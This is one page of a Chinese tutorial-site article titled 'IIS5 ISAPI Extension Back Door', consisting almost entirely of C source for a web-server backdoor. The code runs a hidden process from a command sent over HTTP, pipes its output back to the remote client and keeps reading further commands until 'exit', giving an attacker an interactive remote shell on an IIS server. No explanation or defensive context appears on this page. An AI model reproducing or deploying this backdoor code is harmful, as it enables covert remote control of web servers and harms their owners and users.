e股脑电脑教程网
  • 首 页
  • 操作系统
  • 应用软件
  • 下载工具
  • 影音视频
  • 办公软件
  • 媒体制作
  • 网站建设
  • 平面设计
  • 数据库
  • 程序开发
  • 视频教程
编辑推荐: | 文章搜索:
您现在的位置: e股脑 >> 数据库 >> Mssql教程 >> IIS5 ISAPI Extension Back Door >> 教程正文
 
教程搜索
 
 
相关教程
  • 你知道MySQL10条鲜为人知的技巧吗?
  • 你应该知道的10个MySQL客户启动选项
  • 用特殊的MySQL运算符获得更多数据比较
  • MySQL数据库中与 NULL值有关的几个问题
  • 教你快速了解公共MySQL的数据库服务器
  • MySQL 5.0在windows上的安装详细介绍
  • MySQL查询的性能优化
  • Linux操作系统中如何安装MySQL数据库
  • 23道安全门加铸MySQL数据库
  • MySQL 5.0 数据库新特性的存储过程
  • 从Windows命令行启动MySQL
  • 连接MySQL数据库失败频繁的原因
  • 加速动态网站 MySQL索引分析和优化
  • 轻松掌握如何保护MySQL中的重要数据
  • 快速掌握MySQL数据库中Show命令的用法
  • MySQL数据库的安全配置实用技巧
 
 

图文教程


  • Windows抢了谁的饭碗 非主流操作系统To

  • 地球还是火星 平常心看“非主流”

  • 综合运用Office 2007批量制作奖状

  • 没有系统盘如何才能修复受损系统?

  • 巧妙运用Excel中边界的附加功能!
 
 
赞 助 商
 
 
IIS5 ISAPI Extension Back Door
  • 来源:e股脑
  • 点击次数:
  • 更新时间:2007-8-9

int ret = 0;

unsigned long dwBytes = 0;

int index = 0;

EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;

strcpy( cmdLine , workArg->arg );

if( cmdLine[0] == '' )

{

#ifdef DEBUG

LogStrToFile( "执行shell时,没有要输入要运行的shell路径\n" );

#endif

SendToClient( pECB , "No shell to run...\n" );

SendToClient( pECB , FLAG );

return;

}

#ifdef DEBUG

LogStrToFile( "要运行的程序: " );

LogStrToFile( workArg->arg );

LogStrToFile( "\n" );

#endif

//安全选项

sa.nLength = sizeof( sa );

sa.lpSecurityDescriptor = 0;

sa.bInheritHandle = TRUE;

//初始化管道

if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )

{

#ifdef DEBUG

LogStrToFile( "建立管道失败: " );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Create pipi error...\n" );

SendToClient( pECB , FLAG );

return;

}

if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )


{

#ifdef DEBUG

LogStrToFile( "建立管道失败: " );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

SendToClient( pECB , "Create pipi error...\n" );

SendToClient( pECB , FLAG );

return;

}

ZeroMemory( &si , sizeof(STARTUPINFO) );

GetStartupInfo( &si );

si.cb = sizeof( si );

si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;

ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );

ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );

if( !ret )

{

#ifdef DEBUG

LogStrToFile( "建立进程失败...\n" );

LogIntToFile( GetLastError() );

#endif

SendToClient( pECB , "Create process error...\n" );

SendToClient( pECB , FLAG );

return;

}

while(1)

{

memset( buff , 0 , BUFFSIZE );

ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );

//尝试5次读取管道,防止延迟发生错误

for( index = 0; index < 5 && dwBytes == 0; index ++ )

{

Sleep(100);

ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);

}

//获取输出信息,输出到客户端

if(dwBytes)

{

ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );


if( !ret )

{

#ifdef DEBUG

LogStrToFile( "读取输出失败: " );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

break;

}

#ifdef DEBUG

LogStrToFile( buff );

#endif

ret = SendToClient( pECB , buff );

if( ret<=0 )

{

#ifdef DEBUG

LogStrToFile( "发送输出失败:" );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

break;

}

}

//从客户端获取命令

else

{

//客户端无输入则循环读取

while( buff[0] == '' )

{

Sleep(100);

dwBytes = BUFFSIZE;

pECB->ReadClient( pECB->ConnID , buff , &dwBytes );

}

#ifdef DEBUG

LogStrToFile( "读到客户命令了,内容是: " );

LogStrToFile( buff );

#endif

//如果是exit命令,退出连接

if( strcmp( buff , "exit\n" ) == 0 )

{

SendToClient( pECB , "ByeBye~!\n" );

break;

}

ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );

if( !ret )

{

#ifdef DEBUG

LogStrToFile( "把命令发送到shell失败\n" );

LogIntToFile( GetLastError() );

LogStrToFile( "\n" );

#endif

break;

}

}

}

CloseHandle(hReadPipe1);

CloseHandle(hReadPipe2);

CloseHandle(hWritePipe1);

CloseHandle(hWri

上一页  1 2 3 4 5 6 下一页
  • 上一篇教程: char与varchar的区别
  • 下一篇教程: mysql数据库连接过多的错误,可能的原因分析及解决办法
  •  

    关于本站 | 广告联系 | 版权声明 | 使用帮助

    Copyright © 2004-2008 www.egunao.com All rights reserved.